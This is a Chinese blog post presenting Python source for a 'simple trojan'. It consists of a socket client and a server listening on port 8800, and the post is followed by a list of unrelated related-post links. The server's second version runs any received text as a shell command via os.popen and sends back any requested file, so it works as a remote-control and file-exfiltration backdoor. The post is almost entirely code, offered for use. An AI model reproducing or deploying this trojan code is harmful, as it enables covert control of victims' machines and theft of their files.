python编写木马攻击_python实现一个简单木马!
一个简单的木马程序
绝大多数的木马程序都是基于Socket来实现的
废话少说直接上代码!
代码:
client部分:
# -*- coding: UTF-8 -*-
import socket
import sys
import re
import os
class Client:
def __init__(self, serverIp, serverPort):
self.serverIp = serverIp # 待连接的远程主机的域名
self.serverPort = serverPort
self.bufferSize = 10240
def connet(self): # 连接方法
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error as e:
print("Failed to create socket. Error: %s" % e)
try:
s.connect((self.serverIp, self.serverPort))
while True:
message = input('> ') # 接收用户输入
if not message:
break
s.send(bytes(message, 'utf-8')) # 发送命令
data = s.recv(self.bufferSize) # 接收数据
if not data:
break
if re.search("^0001", data.decode('utf-8', 'ignore')): # 判断数据类型
print(data.decode('utf-8')[4:])
else: # 文件内容处理
s.send("File size received".encode()) # 通知服务端可以发送文件了
file_total_size = int(data.decode()) # 总大小
received_size = 0
f = open("new" + os.path.split(message)[-1], "wb") # 创建文件
while received_size < file_total_size:
data = s.recv(self.bufferSize)
f.write(data) # 写文件
received_size += len(data) # 累加接收长度
print("已接收:", received_size)
f.close() # 关闭文件
print("receive done", file_total_size, " ", received_size)
except socket.error:
s.close()
raise # 退出进程
finally:
s.close()
if __name__ == '__main__':
cl = Client('127.0.0.1', 8800)
cl.connet()
sys.exit() # 退出进程
server部分:
# -*- coding: UTF-8 -*-
import socket
import sys
import os
class server:
def __init__(self, ip, port):
self.port = port
self.ip = ip
self.bufferSize = 10240
def start(self): # 启动监听,接收数据
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.bind((self.ip, self.port)) # 绑定
s.listen(10) # 监听
print('等待客户端连接')
while True: # 一直等待新的连接
try:
conn, addr = s.accept() # 接收连接
print('客户端连接 ' + addr[0] + ':' + str(addr[1]))
while True: # 保持长连接
data = conn.recv(self.bufferSize)#接收数据
if not data:#断开连接时退出当前循环
break
else:
self.executeCommand(conn,data)
conn.close()#关闭当前连接
except socket.error as e:
print(e)
conn.close() # 关闭连接
finally:
s.close() # 关闭服务端
def executeCommand(self, tcpCliSock, data): # 解析并执行命令
try:#
message = data.decode("utf-8")
if os.path.isfile(message):#判断是否是文件
filesize = str(os.path.getsize(message))#获取文件大小
print("文件大小为:",filesize)
tcpCliSock.send(filesize.encode())#发送文件大小
data = tcpCliSock.recv(self.bufferSize)
print("开始发送")
f = open(message, "rb")#打开文件
for line in f:
tcpCliSock.send(line)#发送文件内容
except:
raise
if __name__ == '__main__':
s = server('', 8800)
s.start()
# -*- coding: UTF-8 -*-
import socket
import sys
import os
class server:
def __init__(self, ip, port):
self.port = port
self.ip = ip
self.bufferSize = 10240
def start(self): # 启动监听,接收数据
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.bind((self.ip, self.port)) # 绑定
s.listen(10) # 监听
print('等待客户端连接')
while True: # 一直等待新的连接
try:
conn, addr = s.accept() # 接收连接
print('客户端连接 ' + addr[0] + ':' + str(addr[1]))
while True: # 不知道客户端发送数据大小,循环接收
data = conn.recv(self.bufferSize)
if not data:
break
else:
self.executeCommand(conn,data)
conn.close()
except socket.error as e:
print(e)
conn.close() # 关闭连接
finally:
s.close() # 关闭服务端
def executeCommand(self, tcpCliSock, data): # 解析并执行命令
try:#
message = data.decode("utf-8")
if os.path.isfile(message):#判断是否是文件
filesize = str(os.path.getsize(message))#获取文件大小
print("文件大小为:",filesize)
tcpCliSock.send(filesize.encode())#发送文件大小
data = tcpCliSock.recv(self.bufferSize)
print("开始发送")
f = open(message, "rb")#打开文件
for line in f:
tcpCliSock.send(line)#发送文件内容
else:
tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8'))
except:
raise
if __name__ == '__main__':
s = server('', 8800)
s.start()
执行效果:
提醒一下,以上是linux下的方式
如果使用的是windows得解释器:
命令如下
其余同上!
python编写木马攻击_python实现一个简单木马!相关推荐
- python垃圾分类图像识别算法_Python 实现一个简单的垃圾分类小游戏(已获校级二等奖)...
作者:Vincentish https://blog.csdn.net/Vincentish/article/details/107495432 项目简介 本项目报名参加了"兖州中材杯&qu ...
- python实现2048游戏_python实现一个简单的2048游戏
[Python]代码 # -*- coding: utf8 -*- import random data = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0 ...
- 一个简单木马分析及接管利用
最近一段时间,感觉工作很是杂乱无章,博客也基本没时间来写,基本每月一篇,其实每写一篇也代表目前我自己的工作状态及内容.最近搞逆向这一块,找了些样本分析例子,自己也研究了一下,感觉有不少好东西,当然这些 ...
- python通过Tkinter库实现的一个简单的文本编辑器源码
下边资料是关于python通过Tkinter库实现的一个简单的文本编辑器的内容. from tkSimpleDialog import askstring from tkFileDialog impo ...
- python编写木马攻击_Python编写简易木马程序
Python编写简易木马程序 0x00 准备 文章内容仅供学习研究.切勿用于非法用途! 这次我们使用Python编写一个具有键盘记录.截屏以及通信功能的简易木马.依然选用Sublime text2 + ...
- python编写一个简单的程序验证码_Python实现一个简单的验证码程序
老师讲完random函数,自己写的,虽然和老师示例的不那么美观,智能,但是也自己想出来的,所以记录一下,代码就需要自己不断的自己练习,实战,才能提高啊!不然就像我们这些大部分靠自学的人,何时能学会.还 ...
- 4、python简单线性回归代码案例(完整)_python 实现一个简单的线性回归案例
#!/usr/bin/env python # -*- coding: utf-8 -*- # @File : 自实现一个线性回归.py # @Author: 赵路仓 # @Date : 2020/4 ...
- python编写脚本教程_python编写一个会算账的脚本的示例代码
python算账脚本 1.假如小明卡里有10000元去商场买东西发现钱不够又向父母借了5000账单如下 2.以下脚本就能实现上面的运算 from time import strftime import ...
- python推荐_Python中一个简单的基于内容的推荐引擎
假设,我们需要为一个电子商务网站建立一个推荐引擎. 基本上,你有两种方法:基于内容和协同过滤.我们将看看每种方法的优缺点,然后深入一个基于内容的引擎的一个简单的实现(准备在Heroku之上部署!). ...
最新文章
- react 实现数据双向绑定
- java 文件指定位置插入_java中想在一个文件中的某一个位置插入内容,如何操作?...
- argparse.ArgumentParser()的用法
- MyEclipse/Eclipse中properties文件中文乱码问题解决
- SnipperImages(Silverlight DEMO)控件设计之--Slider和ColorSlider
- 蛙泳如何找准背部发力的感觉
- 算法题+JVM+自定义View,隔壁都馋哭了
- Spring 实践 -拾遗
- could not insert:
- python3 中文文件名_Python3上传中文文件名的问题
- 5.abp框架code first方式删除表
- 获取synchronized锁中的阻塞队列中的线程是非公平的
- win10录屏_win10录屏打不开怎么办?怎么给win10录制屏幕视频?
- 主流反外挂技术的优缺点比较
- 链接与自定义函数名同名的库函数
- 数据挖掘十大算法之决策树详解(2)
- 计算机未来的发展250字,电脑迷250字作文
- 【NOIP2014普及组】子矩阵
- 透视变换原理和变换矩阵的python实现
- 基金收益,通过Java实时获取
热门文章
- mysql errorcode 1366_mysql插入emoji表情报 error code [1366]
- linux下如何删除一个文件
- GPU大百科全书 第一章:美女 方程与几何
- go语言踩坑:data race导致的输出结果与预期结果不一致
- vim打开的文件无法使用:wq保存的问题
- 计算机wps素材,WPS Office 2012在线素材 让办公无需“步步惊心”
- 〖Python网络爬虫实战⑫〗- XPATH语法介绍
- 拒绝黄牛 《东方早报》记者在太平洋数码遭殴
- Linux超级用户的提示符是,【判断题】Linux超级用户登录后的提示符是 $ ,普通用户登录后的提示符是 #...
- 如何安装husky_Husky Chat 2.1.1